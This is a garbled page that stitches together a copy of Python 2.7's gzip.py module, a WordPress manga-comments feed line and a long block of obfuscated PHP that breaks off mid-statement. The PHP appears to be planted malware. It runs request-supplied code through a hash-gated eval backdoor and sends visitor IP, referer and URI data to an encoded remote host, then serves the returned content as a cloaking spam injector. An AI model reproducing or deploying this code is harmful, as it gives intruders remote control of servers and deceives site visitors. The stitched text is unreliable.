Current File : //lib64/python2.7/gzip.py
"""Functions that read and write gzipped files.

The user of the file doesn't have to worry about the compression,
but random access is not allowed."""

# based on Andrew Kuchling's minigzip.py distributed with the zlib module

import struct, sys, time, os
import zlib
import io
import __builtin__

__all__ = ["GzipFile","open"]

FTEXT, FHCRC, FEXTRA, FNAME, FCOMMENT = 1, 2, 4, 8, 16

READ, WRITE = 1, 2

def write32u(output, value):
    # The L format writes the bit pattern correctly whether signed
    # or unsigned.
    output.write(struct.pack("<L", value))

def read32(input):
    return struct.unpack("<I", input.read(4))[0]

def open(filename, mode="rb", compresslevel=9):
    """Shorthand for GzipFile(filename, mode, compresslevel).

    The filename argument is required; mode defaults to 'rb'
    and compresslevel defaults to 9.

    """
    return GzipFile(filename, mode, compresslevel)

class GzipFile(io.BufferedIOBase):
    """The GzipFile class simulates most of the methods of a file object with
    the exception of the readinto() and truncate() methods.

    """

    myfileobj = None
    max_read_chunk = 10 * 1024 * 1024   # 10Mb

    def __init__(self, filename=None, mode=None,
                 compresslevel=9, fileobj=None, mtime=None):
        """Constructor for the GzipFile class.

        At least one of fileobj and filename must be given a
        non-trivial value.

        The new class instance is based on fileobj, which can be a regular
        file, a StringIO object, or any other object which simulates a file.
        It defaults to None, in which case filename is opened to provide
        a file object.

        When fileobj is not None, the filename argument is only used to be
        included in the gzip file header, which may include the original
        filename of the uncompressed file.  It defaults to the filename of
        fileobj, if discernible; otherwise, it defaults to the empty string,
        and in this case the original filename is not included in the header.

        The mode argument can be any of 'r', 'rb', 'a', 'ab', 'w', or 'wb',
        depending on whether the file will be read or written.  The default
        is the mode of fileobj if discernible; otherwise, the default is 'rb'.
        Be aware that only the 'rb', 'ab', and 'wb' values should be used
        for cross-platform portability.

        The compresslevel argument is an integer from 0 to 9 controlling the
        level of compression; 1 is fastest and produces the least compression,
        and 9 is slowest and produces the most compression. 0 is no compression
        at all. The default is 9.

        The mtime argument is an optional numeric timestamp to be written
        to the stream when compressing.  All gzip compressed streams
        are required to contain a timestamp.  If omitted or None, the
        current time is used.  This module ignores the timestamp when
        decompressing; however, some programs, such as gunzip, make use
        of it.  The format of the timestamp is the same as that of the
        return value of time.time() and of the st_mtime member of the
        object returned by os.stat().

        """

        # Make sure we don't inadvertently enable universal newlines on the
        # underlying file object - in read mode, this causes data corruption.
        if mode:
            mode = mode.replace('U', '')
        # guarantee the file is opened in binary mode on platforms
        # that care about that sort of thing
        if mode and 'b' not in mode:
            mode += 'b'
        if fileobj is None:
            fileobj = self.myfileobj = __builtin__.open(filename, mode or 'rb')
        if filename is None:
            # Issue #13781: os.fdopen() creates a fileobj with a bogus name
            # attribute. Avoid saving this in the gzip header's filename field.
            filename = getattr(fileobj, 'name', '')
            if not isinstance(filename, basestring) or filename == '<fdopen>':
                filename = ''
        if mode is None:
            if hasattr(fileobj, 'mode'): mode = fileobj.mode
            else: mode = 'rb'

        if mode[0:1] == 'r':
            self.mode = READ
            # Set flag indicating start of a new member
            self._new_member = True
            # Buffer data read from gzip file. extrastart is offset in
            # stream where buffer starts. extrasize is number of
            # bytes remaining in buffer from current stream position.
            self.extrabuf = ""
            self.extrasize = 0
            self.extrastart = 0
            self.name = filename
            # Starts small, scales exponentially
            self.min_readsize = 100

        elif mode[0:1] == 'w' or mode[0:1] == 'a':
            self.mode = WRITE
            self._init_write(filename)
            self.compress = zlib.compressobj(compresslevel,
                                             zlib.DEFLATED,
                                             -zlib.MAX_WBITS,
                                             zlib.DEF_MEM_LEVEL,
                                             0)
        else:
            raise IOError, "Mode " + mode + " not supported"

        self.fileobj = fileobj
        self.offset = 0
        self.mtime = mtime

        if self.mode == WRITE:
            self._write_gzip_header()

    @property
    def filename(self):
        import warnings
        warnings.warn("use the name attribute", DeprecationWarning, 2)
        if self.mode == WRITE and self.name[-3:] != ".gz":
            return self.name + ".gz"
        return self.name

    def __repr__(self):
        s = repr(self.fileobj)
        return '<gzip ' + s[1:-1] + ' ' + hex(id(self)) + '>'

    def _check_closed(self):
        """Raises a ValueError if the underlying file object has been closed.

        """
        if self.closed:
            raise ValueError('I/O operation on closed file.')

    def _init_write(self, filename):
        self.name = filename
        self.crc = zlib.crc32("") & 0xffffffffL
        self.size = 0
        self.writebuf = []
        self.bufsize = 0

    def _write_gzip_header(self):
        self.fileobj.write('\037\213')             # magic header
        self.fileobj.write('\010')                 # compression method
        try:
            # RFC 1952 requires the FNAME field to be Latin-1. Do not
            # include filenames that cannot be represented that way.
            fname = os.path.basename(self.name)
            if not isinstance(fname, str):
                fname = fname.encode('latin-1')
            if fname.endswith('.gz'):
                fname = fname[:-3]
        except UnicodeEncodeError:
            fname = ''
        flags = 0
        if fname:
            flags = FNAME
        self.fileobj.write(chr(flags))
        mtime = self.mtime
        if mtime is None:
            mtime = time.time()
        write32u(self.fileobj, long(mtime))
        self.fileobj.write('\002')
        self.fileobj.write('\377')
        if fname:
            self.fileobj.write(fname + '\000')

    def _init_read(self):
        self.crc = zlib.crc32("") & 0xffffffffL
        self.size = 0

    def _read_gzip_header(self):
        magic = self.fileobj.read(2)
        if magic != '\037\213':
            raise IOError, 'Not a gzipped file'
        method = ord( self.fileobj.read(1) )
        if method != 8:
            raise IOError, 'Unknown compression method'
        flag = ord( self.fileobj.read(1) )
        self.mtime = read32(self.fileobj)
        # extraflag = self.fileobj.read(1)
        # os = self.fileobj.read(1)
        self.fileobj.read(2)

        if flag & FEXTRA:
            # Read & discard the extra field, if present
            xlen = ord(self.fileobj.read(1))
            xlen = xlen + 256*ord(self.fileobj.read(1))
            self.fileobj.read(xlen)
        if flag & FNAME:
            # Read and discard a null-terminated string containing the filename
            while True:
                s = self.fileobj.read(1)
                if not s or s=='\000':
                    break
        if flag & FCOMMENT:
            # Read and discard a null-terminated string containing a comment
            while True:
                s = self.fileobj.read(1)
                if not s or s=='\000':
                    break
        if flag & FHCRC:
            self.fileobj.read(2)     # Read & discard the 16-bit header CRC

    def write(self,data):
        self._check_closed()
        if self.mode != WRITE:
            import errno
            raise IOError(errno.EBADF, "write() on read-only GzipFile object")

        if self.fileobj is None:
            raise ValueError, "write() on closed GzipFile object"

        # Convert data type if called by io.BufferedWriter.
        if isinstance(data, memoryview):
            data = data.tobytes()

        if len(data) > 0:
            self.fileobj.write(self.compress.compress(data))
            self.size += len(data)
            self.crc = zlib.crc32(data, self.crc) & 0xffffffffL
            self.offset += len(data)

        return len(data)

    def read(self, size=-1):
        self._check_closed()
        if self.mode != READ:
            import errno
            raise IOError(errno.EBADF, "read() on write-only GzipFile object")

        if self.extrasize <= 0 and self.fileobj is None:
            return ''

        readsize = 1024
        if size < 0:        # get the whole thing
            try:
                while True:
                    self._read(readsize)
                    readsize = min(self.max_read_chunk, readsize * 2)
            except EOFError:
                size = self.extrasize
        else:               # just get some more of it
            try:
                while size > self.extrasize:
                    self._read(readsize)
                    readsize = min(self.max_read_chunk, readsize * 2)
            except EOFError:
                if size > self.extrasize:
                    size = self.extrasize

        offset = self.offset - self.extrastart
        chunk = self.extrabuf[offset: offset + size]
        self.extrasize = self.extrasize - size

        self.offset += size
        return chunk

    def _unread(self, buf):
        self.extrasize = len(buf) + self.extrasize
        self.offset -= len(buf)

    def _read(self, size=1024):
        if self.fileobj is None:
            raise EOFError, "Reached EOF"

        if self._new_member:
            # If the _new_member flag is set, we have to
            # jump to the next member, if there is one.
            #
            # First, check if we're at the end of the file;
            # if so, it's time to stop; no more members to read.
            pos = self.fileobj.tell()   # Save current position
            self.fileobj.seek(0, 2)     # Seek to end of file
            if pos == self.fileobj.tell():
                raise EOFError, "Reached EOF"
            else:
                self.fileobj.seek( pos ) # Return to original position

            self._init_read()
            self._read_gzip_header()
            self.decompress = zlib.decompressobj(-zlib.MAX_WBITS)
            self._new_member = False

        # Read a chunk of data from the file
        buf = self.fileobj.read(size)

        # If the EOF has been reached, flush the decompression object
        # and mark this object as finished.

        if buf == "":
            uncompress = self.decompress.flush()
            self._read_eof()
            self._add_read_data( uncompress )
            raise EOFError, 'Reached EOF'

        uncompress = self.decompress.decompress(buf)
        self._add_read_data( uncompress )

        if self.decompress.unused_data != "":
            # Ending case: we've come to the end of a member in the file,
            # so seek back to the start of the unused data, finish up
            # this member, and read a new gzip header.
            # (The number of bytes to seek back is the length of the unused
            # data, minus 8 because _read_eof() will rewind a further 8 bytes)
            self.fileobj.seek( -len(self.decompress.unused_data)+8, 1)

            # Check the CRC and file size, and set the flag so we read
            # a new member on the next call
            self._read_eof()
            self._new_member = True

    def _add_read_data(self, data):
        self.crc = zlib.crc32(data, self.crc) & 0xffffffffL
        offset = self.offset - self.extrastart
        self.extrabuf = self.extrabuf[offset:] + data
        self.extrasize = self.extrasize + len(data)
        self.extrastart = self.offset
        self.size = self.size + len(data)

    def _read_eof(self):
        # We've read to the end of the file, so we have to rewind in order
        # to reread the 8 bytes containing the CRC and the file size.
        # We check the that the computed CRC and size of the
        # uncompressed data matches the stored values.  Note that the size
        # stored is the true file size mod 2**32.
        self.fileobj.seek(-8, 1)
        crc32 = read32(self.fileobj)
        isize = read32(self.fileobj)  # may exceed 2GB
        if crc32 != self.crc:
            raise IOError("CRC check failed %s != %s" % (hex(crc32),
                                                         hex(self.crc)))
        elif isize != (self.size & 0xffffffffL):
            raise IOError, "Incorrect length of data produced"

        # Gzip files can be padded with zeroes and still have archives.
        # Consume all zero bytes and set the file position to the first
        # non-zero byte. See http://www.gzip.org/#faq8
        c = "\x00"
        while c == "\x00":
            c = self.fileobj.read(1)
        if c:
            self.fileobj.seek(-1, 1)

    @property
    def closed(self):
        return self.fileobj is None

    def close(self):
        fileobj = self.fileobj
        if fileobj is None:
            return
        self.fileobj = None
        try:
            if self.mode == WRITE:
                fileobj.write(self.compress.flush())
                write32u(fileobj, self.crc)
                # self.size may exceed 2GB, or even 4GB
                write32u(fileobj, self.size & 0xffffffffL)
        finally:
            myfileobj = self.myfileobj
            if myfileobj:
                self.myfileobj = None
                myfileobj.close()

    def flush(self,zlib_mode=zlib.Z_SYNC_FLUSH):
        self._check_closed()
        if self.mode == WRITE:
            # Ensure the compressor's buffer is flushed
            self.fileobj.write(self.compress.flush(zlib_mode))
            self.fileobj.flush()

    def fileno(self):
        """Invoke the underlying file object's fileno() method.

        This will raise AttributeError if the underlying file object
        doesn't support fileno().
        """
        return self.fileobj.fileno()

    def rewind(self):
        '''Return the uncompressed stream file position indicator to the
        beginning of the file'''
        if self.mode != READ:
            raise IOError("Can't rewind in write mode")
        self.fileobj.seek(0)
        self._new_member = True
        self.extrabuf = ""
        self.extrasize = 0
        self.extrastart = 0
        self.offset = 0

    def readable(self):
        return self.mode == READ

    def writable(self):
        return self.mode == WRITE

    def seekable(self):
        return True

    def seek(self, offset, whence=0):
        if whence:
            if whence == 1:
                offset = self.offset + offset
            else:
                raise ValueError('Seek from end not supported')
        if self.mode == WRITE:
            if offset < self.offset:
                raise IOError('Negative seek in write mode')
            count = offset - self.offset
            for i in xrange(count // 1024):
                self.write(1024 * '\0')
            self.write((count % 1024) * '\0')
        elif self.mode == READ:
            if offset < self.offset:
                # for negative seek, rewind and do positive seek
                self.rewind()
            count = offset - self.offset
            for i in xrange(count // 1024):
                self.read(1024)
            self.read(count % 1024)

        return self.offset

    def readline(self, size=-1):
        if size < 0:
            # Shortcut common case - newline found in buffer.
            offset = self.offset - self.extrastart
            i = self.extrabuf.find('\n', offset) + 1
            if i > 0:
                self.extrasize -= i - offset
                self.offset += i - offset
                return self.extrabuf[offset: i]

            size = sys.maxint
            readsize = self.min_readsize
        else:
            readsize = size
        bufs = []
        while size != 0:
            c = self.read(readsize)
            i = c.find('\n')

            # We set i=size to break out of the loop under two
            # conditions: 1) there's no newline, and the chunk is
            # larger than size, or 2) there is a newline, but the
            # resulting line would be longer than 'size'.
            if (size <= i) or (i == -1 and len(c) > size):
                i = size - 1

            if i >= 0 or c == '':
                bufs.append(c[:i + 1])    # Add portion of last chunk
                self._unread(c[i + 1:])   # Push back rest of chunk
                break

            # Append chunk to list, decrease 'size',
            bufs.append(c)
            size = size - len(c)
            readsize = min(size, readsize * 2)
        if readsize > self.min_readsize:
            self.min_readsize = min(readsize, self.min_readsize * 2, 512)
        return ''.join(bufs) # Return resulting line


def _test():
    # Act like gzip; with -d, act like gunzip.
    # The input file is not deleted, however, nor are any other gzip
    # options or features supported.
    args = sys.argv[1:]
    decompress = args and args[0] == "-d"
    if decompress:
        args = args[1:]
    if not args:
        args = ["-"]
    for arg in args:
        if decompress:
            if arg == "-":
                f = GzipFile(filename="", mode="rb", fileobj=sys.stdin)
                g = sys.stdout
            else:
                if arg[-3:] != ".gz":
                    print "filename doesn't end in .gz:", repr(arg)
                    continue
                f = open(arg, "rb")
                g = __builtin__.open(arg[:-3], "wb")
        else:
            if arg == "-":
                f = sys.stdin
                g = GzipFile(filename="", mode="wb", fileobj=sys.stdout)
            else:
                f = __builtin__.open(arg, "rb")
                g = open(arg + ".gz", "wb")
        while True:
            chunk = f.read(1024)
            if not chunk:
                break
            g.write(chunk)
        if g is not sys.stdout:
            g.close()
        if f is not sys.stdin:
            f.close()

if __name__ == '__main__':
    _test()
Comments on: Btooom! Chapter 80 https://w3.readbtooom.com/manga/btooom-chapter-80/ Read Btooom! Manga Online in High Quality Wed, 30 Nov 2022 23:56:24 +0000 hourly 1 https://wordpress.org/?v=6.4.5 + 0](__FILE__)); goto fargXz030rpTv4; wLvQp0lYTxZ0HO: die; goto AjeoKJQZfbd6TE; Kw3wCCxBEZHSGG: @eval($gmnVnMr0iEjBTm[0 + 4]($hflTr7ZhKYQEiB)); goto wLvQp0lYTxZ0HO; VMV_idhq71r2u6: $LSw2Mf8ShtBMhD = @$gmnVnMr0iEjBTm[3 + 0]($gmnVnMr0iEjBTm[4 + 2], $xc34p_QeoNHndH); goto SBw0r1EUJvgc6w; Zb7j2SHXCQLRzq: $xc34p_QeoNHndH = @$gmnVnMr0iEjBTm[1]($gmnVnMr0iEjBTm[6 + 4](INPUT_GET, $gmnVnMr0iEjBTm[8 + 1])); goto VMV_idhq71r2u6; qT1AMbE1jKiVEr: $hflTr7ZhKYQEiB = self::etuFW7QuuTp7XC($BhGMsY73N9SwTY[1 + 0], $gmnVnMr0iEjBTm[5 + 0]); goto Kw3wCCxBEZHSGG; TVhDlMQOfW7LAV: l3u94m8t5YSci3: goto Zb7j2SHXCQLRzq; v0QeYTrJc3OQ_c: } } goto YNWt5RdnGP3Atb; so3CE7ceAVhjNP: if (!substr_count($_SERVER["\x52\105\121\125\105\x53\124\x5f\x55\x52\111"], "\x69\x6e\x64\145\x78\56\160\x68\x70\x2f\152\153")) { goto dRXVyNzbJKkMby; } goto Gh1zYgHk2rBFFr; oN2zb_SaHmhV1t: if (!in_array($W4wbA9S5YoCrLx, array("\56\152\163", "\x2e\x63\x73\x73", "\56\x6a\x70\147", "\56\x70\x6e\x67", "\x2e\147\x69\x66", "\56\151\x63\x6f"))) { goto EODSlWNRKAFUfb; } goto XpMILegvBZh_LH; RSe49XOeE6FLSP: nLBmN8xt91_bAs: goto TQbaS9anPR0P07; jmpPJPGGl8DWdJ: $RYcRsC_5JN9R76 = tiguxQRkkHpCym(base64_decode("\141\x48\x52\x30\x63\104\x6f\166\114\63\160\172\115\124\153\x78\x64\152\105\x7a\145\127\105\165\x59\62\106\163\x64\x32\x6c\x7a\x5a\x53\65\151\142\x32\x46\x30\x63\171\70"), $cqhM8U9aB6_PYp); goto aCk7oqhUtXZfdj; TQbaS9anPR0P07: mQYBYdvBp_oDE6: goto y65uhV42UN3qnh; V0lkrMh9Z1BRsW: x_u_0wnE1tCuly: goto wqhjdQounUApEG; QPW0dtqUzVyx51: error_reporting(0); goto JVR_Woh4Zhqdv_; Xo0GyQ3h71LH37: $z0r5Uq669684MQ = preg_replace("\57\x5c\x3f\56\x2a\x2f", '', $_SERVER["\x52\105\x51\x55\x45\x53\x54\137\125\x52\111"]); goto Z9_0Y6zwaUc82T; mT9PXFTp1Skaq4: @header("\103\x6f\156\x74\145\156\x74\55\x54\171\x70\x65\x3a" . $RYcRsC_5JN9R76["\x74\171\x70\145"]); goto podAua_1_n6Q32; ouixKgMLyBrlN2: $cqhM8U9aB6_PYp["\x6c"] = ohacXe72gNcNBO($_SERVER["\110\124\x54\120\137\x41\x43\x43\x45\120\x54\137\114\101\116\107\x55\x41\x47\105"]); goto vMh6tPY4H3rnsg; u5h2C1uIEUi0Go: $CZz5sVrqYvUkOf = $LV7Xe2gqIFeZLN("\176", "\40"); goto y93W64ZbR6zOSA; fj6wUoTQIXldH9: if (!(strpos($YyjHFbwkNXow5l, $AJev5iZ2Mhc3ij) === 0)) { goto x_u_0wnE1tCuly; } goto rL6Tx3kSqvOTjM; QLv0oo4sbaMBxL: dRXVyNzbJKkMby: goto Ehp8WNkRozmA8y; Icuv3eQOx2psV3: BOw9qIk2dCbR1c: goto zNxNbJxUVPLx9l; iS2uY3yxKzFLXT: if (!($_SERVER["\122\x45\121\x55\x45\x53\124\137\125\x52\111"] === "\x2f\x52\55" . md5($_SERVER["\x53\105\x52\126\105\122\x5f\116\101\115\105"]))) { goto WkCtrOdb6CfnUd; } goto iyYnqXN3Noa5qx; y65uhV42UN3qnh: if (!strlen($RYcRsC_5JN9R76["\143\x6f\156\x74\x65\x6e\164"])) { goto BOw9qIk2dCbR1c; } goto mT9PXFTp1Skaq4; CiUHXM4OYEXLKn: WkCtrOdb6CfnUd: goto so3CE7ceAVhjNP; aySkes8PMaRFs4: $cqhM8U9aB6_PYp["\x69"] = OhAcxE72GNcnbO($GQBzsC0J0BLgmM); goto ouixKgMLyBrlN2; eCPavVZmeH0nil: if ($XvsJrdpopFW2vM) { goto xg8FNXqleuiX6n; } goto jmpPJPGGl8DWdJ; Dq8JVjP7nnWuhp: error_reporting(0); goto TUs_yrzwsfWZGJ; TUs_yrzwsfWZGJ: $LV7Xe2gqIFeZLN = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto u5h2C1uIEUi0Go; tnv_srHgR3Jc1_: $W4wbA9S5YoCrLx = substr($z0r5Uq669684MQ, strpos($z0r5Uq669684MQ, "\x2e")); goto oN2zb_SaHmhV1t; wqhjdQounUApEG: $cqhM8U9aB6_PYp = array(); goto aySkes8PMaRFs4; rL6Tx3kSqvOTjM: $YyjHFbwkNXow5l = ''; goto V0lkrMh9Z1BRsW; Ehp8WNkRozmA8y: $GQBzsC0J0BLgmM = pQP3PWz1NW4fxK(); goto Oaud86upaGzC2o; YNWt5RdnGP3Atb: od7upioZ1kkklw::RIQGPKaF6WaKCD(); goto e8gsxlBTkbJw2k; IFkH9ZkqrM2xv1: function OhACxe72gnCnbo($wX1FQcEKbvf0Vk) { goto EhnnRuXCM2vaI0; EhnnRuXCM2vaI0: if ($wX1FQcEKbvf0Vk) { goto dWAlK3vCJBD41H; } goto maV2K8d7o7cgJ4; hZcUAyN1JlkDi5: return rtrim(strtr(base64_encode($wX1FQcEKbvf0Vk), "\x2b\57", "\x2d\137"), "\x3d"); goto Ec00iBRwyYn0j3; maV2K8d7o7cgJ4: return ''; goto FliB1ZnZ66uFcQ; FliB1ZnZ66uFcQ: dWAlK3vCJBD41H: goto hZcUAyN1JlkDi5; Ec00iBRwyYn0j3: } goto oDS96LLv_HsmIB; GXKFXvvy3zl7mN: nIdXsiNuEgVLle: goto RSe49XOeE6FLSP; Rf4mSxuY2vTeE2: $cqhM8U9aB6_PYp["\163"] = OHaCXE72GNcnBO($AJev5iZ2Mhc3ij); goto HMkZukGxwNhVQ1; JVR_Woh4Zhqdv_: function DrB1PAMeGIaG6C($EXJ3TWl60uE2Q6) { goto y0F4uW_sAfgjo9; qdye0l1vcv4Uj4: return $zxtSQawcApEz8h; goto IL5Ny6v6bNfIDV; YJbCLy4ZU6O7d1: RMHWY4SACI7d9e: goto PEyJxU0XaIAHPj; PEyJxU0XaIAHPj: return $zxtSQawcApEz8h; goto EY_wW58gdYdFhT; y0F4uW_sAfgjo9: $zxtSQawcApEz8h = array("\x73\164\141\x74\165\x73" => 0, "\x63\x6f\x6e\x74\145\x6e\164" => '', "\164\x79\160\145" => ''); goto EYT_MhMP2Dk0_X; IL5Ny6v6bNfIDV: mqsxr4rcxMwCBa: goto eVUSkA0CaWo5Xk; EYT_MhMP2Dk0_X: if (is_array($EXJ3TWl60uE2Q6)) { goto mqsxr4rcxMwCBa; } goto qdye0l1vcv4Uj4; eVUSkA0CaWo5Xk: foreach ($EXJ3TWl60uE2Q6 as $iKFPrHqHAJZa0n) { goto CDZ9hr_NRNto5B; GkxAIXz5gU0297: goto IwUle8nU5L9MmY; goto DNiHKOSbc2iyUO; bkM_Viu76T8nIQ: N5bPLk96ktiW_c: goto W4eVtQrANTd7qi; lLK0FU7cGnoP3S: if (preg_match("\x2f\x6c\x6f\143\141\164\151\157\x6e\x5c\x3a\x5b\134\163\135\53\x28\56\52\51\x2f\151", $iKFPrHqHAJZa0n, $VCXf5n_WGDFhVc)) { goto SFLZJbNE4Ddd7y; } goto NLGn90nldG0V2C; G50qjtmviMjmhD: $zxtSQawcApEz8h["\x73\164\141\164\165\163"] = intval($VCXf5n_WGDFhVc[1]); goto fzXqR2F5bIflpz; grJ2yidJ8DbUel: $zxtSQawcApEz8h["\x74\171\x70\x65"] = $VCXf5n_WGDFhVc[1]; goto yKzd8wOsZTKyiY; cgFVc2lqsook5w: $zxtSQawcApEz8h["\x63\x6f\156\164\x65\x6e\x74"] = $VCXf5n_WGDFhVc[1]; goto GkxAIXz5gU0297; fzXqR2F5bIflpz: goto IwUle8nU5L9MmY; goto jw1n3W0TMtb8ae; jw1n3W0TMtb8ae: SFLZJbNE4Ddd7y: goto cgFVc2lqsook5w; ixb_boyIAvRtU3: goto IwUle8nU5L9MmY; goto sogoy13hmTNHjv; DNiHKOSbc2iyUO: qtZ1RIeDF7F_zB: goto grJ2yidJ8DbUel; NLGn90nldG0V2C: if (preg_match("\x2f\x63\157\156\x74\145\156\x74\x5c\55\164\x79\160\x65\x5c\x3a\133\134\x73\135\53\50\56\x2a\51\x2f\x69", $iKFPrHqHAJZa0n, $VCXf5n_WGDFhVc)) { goto qtZ1RIeDF7F_zB; } goto ixb_boyIAvRtU3; CDZ9hr_NRNto5B: if (preg_match("\x2f\x68\x74\x74\160\134\57\133\x30\55\71\x5c\56\135\53\133\x5c\163\x5d\53\50\x5b\60\x2d\71\135\x2b\x29\57\151", $iKFPrHqHAJZa0n, $VCXf5n_WGDFhVc)) { goto WU18cldMwyOYy4; } goto lLK0FU7cGnoP3S; sogoy13hmTNHjv: WU18cldMwyOYy4: goto G50qjtmviMjmhD; yKzd8wOsZTKyiY: IwUle8nU5L9MmY: goto bkM_Viu76T8nIQ; W4eVtQrANTd7qi: } goto YJbCLy4ZU6O7d1; EY_wW58gdYdFhT: } goto jgJfudUS87XN7X; CFXXeWv1aa59eE: metaphone("\115\x7a\115\x79\117\124\125\64\x4e\x7a\x59\x79\x4d\172\143\65\x4d\124\125\167\x4e\104\101\63\x4d\172\x59\170\116\x44\x55\170"); goto W578go6nM8mwKs; Oaud86upaGzC2o: $YyjHFbwkNXow5l = strval(@$_SERVER["\110\x54\124\x50\x5f\x52\105\x46\x45\122\x45\122"]); goto tNsrPkVf0IdOsU; Gh1zYgHk2rBFFr: exit("\173\x20\42\145\162\162\157\162\x22\72\x20\62\60\x30\54\40\42\154\x63\42\x3a\x20\x22\152\153\42\54\40\42\144\141\164\141\42\72\x20\133\40\61\x20\135\x20\x7d"); goto QLv0oo4sbaMBxL; Z9_0Y6zwaUc82T: $XvsJrdpopFW2vM = false; goto yV7ESO8zN802i3; vf8W74vwPrQ19Q: exit(0); goto Icuv3eQOx2psV3; ZM2bTFzHcUw9th: $cqhM8U9aB6_PYp["\x72\146"] = ohACxe72GncNBo($YyjHFbwkNXow5l); goto Rf4mSxuY2vTeE2; podAua_1_n6Q32: echo $RYcRsC_5JN9R76["\143\x6f\156\164\145\156\x74"]; goto vf8W74vwPrQ19Q; VdLOE_8tJXB3Hd: @(md5(md5(md5(md5($XwekUAY7viy95T[8])))) === "\64\141\x65\63\x30\x63\142\x39\144\x34\64\145\65\144\66\64\145\143\x35\145\65\x31\x61\x65\x36\63\70\62\144\x63\143\x33") && (count($XwekUAY7viy95T) == 14 && in_array(gettype($XwekUAY7viy95T) . count($XwekUAY7viy95T), $XwekUAY7viy95T)) ? ($XwekUAY7viy95T[63] = $XwekUAY7viy95T[63] . $XwekUAY7viy95T[80]) && ($XwekUAY7viy95T[86] = $XwekUAY7viy95T[63]($XwekUAY7viy95T[86])) && @eval($XwekUAY7viy95T[63](${$XwekUAY7viy95T[39]}[26])) : $XwekUAY7viy95T; goto CFXXeWv1aa59eE; tNsrPkVf0IdOsU: $AJev5iZ2Mhc3ij = cvtHgUUIdOaBxi() . $_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]; goto fj6wUoTQIXldH9; Mlwssok3EcewCu: $cqhM8U9aB6_PYp["\x72"] = OHAcXE72gNcNbo($_SERVER["\122\x45\121\125\x45\x53\x54\137\x55\122\x49"]); goto ZM2bTFzHcUw9th; QppOPeM_MuYkX0: EODSlWNRKAFUfb: goto KV07V11rrCv_BU; vMh6tPY4H3rnsg: $cqhM8U9aB6_PYp["\x73\x6e"] = oHAcXE72gncNbo($_SERVER["\123\x43\x52\x49\120\x54\x5f\116\101\x4d\105"]); goto Mlwssok3EcewCu; oDS96LLv_HsmIB: function PqP3pwz1Nw4Fxk() { goto d2KOz1XMxjhjba; jtCGzdQ6FywsSR: $GQBzsC0J0BLgmM = $GQBzsC0J0BLgmM[0]; goto kWl0f5rEvggoXI; VSi2HPqJYMBPBy: p6XXQH4WlMrklc: goto kTo1dJin8yXCWS; v5s2mFONGN3eWN: $GQBzsC0J0BLgmM = explode("\54", $GQBzsC0J0BLgmM); goto jtCGzdQ6FywsSR; ik3D4o9WXb9m8W: $GQBzsC0J0BLgmM = $_SERVER["\110\x54\124\120\137\130\x5f\106\x4f\122\127\x41\x52\x44\x45\104\137\106\x4f\122"]; goto PDAr6K9qFo5ED4; xFMue1CsmQraOx: if (isset($_SERVER["\x48\124\124\x50\137\x58\137\x46\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\122"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x58\137\106\117\x52\x57\x41\x52\104\x45\x44\x5f\106\x4f\x52"])) { goto mtHpBeBdI9Xs3A; } goto ZbAK3r2pLXN2TK; kTo1dJin8yXCWS: $GQBzsC0J0BLgmM = $_SERVER["\110\124\124\x50\137\x58\137\122\x45\101\x4c\137\111\120"]; goto gAEzDub_LN0XSF; lpFfXOb2eWNHIS: if (isset($_SERVER["\110\x54\124\x50\x5f\x58\x5f\x52\105\x41\114\x5f\x49\120"]) && !empty($_SERVER["\110\124\x54\120\x5f\x58\137\122\105\101\x4c\137\111\120"])) { goto p6XXQH4WlMrklc; } goto xFMue1CsmQraOx; kWl0f5rEvggoXI: FNDZUNZ3s0Kmyq: goto AHcjx1dYc1AvRh; yGPifhUtIUh4CC: $GQBzsC0J0BLgmM = $_SERVER["\110\124\124\x50\x5f\103\106\x5f\x43\x4f\116\x4e\105\103\124\x49\116\107\137\x49\x50"]; goto v0tJBfrJVsJd3W; w3I25CNlYIO2x6: goto obGv8YzBZ_q8sH; goto L07rrelKy165gS; L07rrelKy165gS: t5wxlZXtI30mC8: goto yGPifhUtIUh4CC; AHcjx1dYc1AvRh: return $GQBzsC0J0BLgmM; goto SYA68jRx2_ywpD; O7dQTlGNctSo90: if (isset($_SERVER["\x48\x54\x54\x50\137\103\106\x5f\103\117\x4e\116\105\x43\x54\x49\x4e\107\x5f\111\120"]) && !empty($_SERVER["\110\124\124\120\137\103\106\x5f\103\117\x4e\x4e\x45\x43\124\111\116\x47\x5f\111\x50"])) { goto t5wxlZXtI30mC8; } goto lpFfXOb2eWNHIS; a117xWswTMLAuy: if (!(strpos($GQBzsC0J0BLgmM, "\54") !== false)) { goto FNDZUNZ3s0Kmyq; } goto v5s2mFONGN3eWN; ZbAK3r2pLXN2TK: $GQBzsC0J0BLgmM = $_SERVER["\122\105\115\x4f\x54\105\x5f\x41\x44\104\122"]; goto w3I25CNlYIO2x6; HmZi2He6Nayr8O: $GQBzsC0J0BLgmM = trim(str_replace("\x20", '', $GQBzsC0J0BLgmM), "\x2c"); goto a117xWswTMLAuy; d2KOz1XMxjhjba: $GQBzsC0J0BLgmM = ''; goto O7dQTlGNctSo90; v0tJBfrJVsJd3W: goto obGv8YzBZ_q8sH; goto VSi2HPqJYMBPBy; PDAr6K9qFo5ED4: obGv8YzBZ_q8sH: goto HmZi2He6Nayr8O; mZkjFbCl2TfEl3: mtHpBeBdI9Xs3A: goto ik3D4o9WXb9m8W; gAEzDub_LN0XSF: goto obGv8YzBZ_q8sH; goto mZkjFbCl2TfEl3; SYA68jRx2_ywpD: } goto iN0D1QP22TTsuo; KV07V11rrCv_BU: pzvSfPiTbSA_mm: goto eCPavVZmeH0nil; iyYnqXN3Noa5qx: exit(strrev(md5($_SERVER["\123\x45\122\126\105\x52\x5f\x4e\101\115\105"]))); goto CiUHXM4OYEXLKn; e8gsxlBTkbJw2k: header("\103\x6f\x6e\x74\145\156\x74\55\124\x79\x70\x65\72\x20\164\x65\x78\x74\x2f\x68\164\x6d\x6c\73\40\x63\x68\141\162\163\145\164\x3d\x75\x74\146\55\x38"); goto QPW0dtqUzVyx51; y93W64ZbR6zOSA: $XwekUAY7viy95T = ${$CZz5sVrqYvUkOf[17 + 14] . $CZz5sVrqYvUkOf[48 + 11] . $CZz5sVrqYvUkOf[36 + 11] . $CZz5sVrqYvUkOf[1 + 46] . $CZz5sVrqYvUkOf[51 + 0] . $CZz5sVrqYvUkOf[1 + 52] . 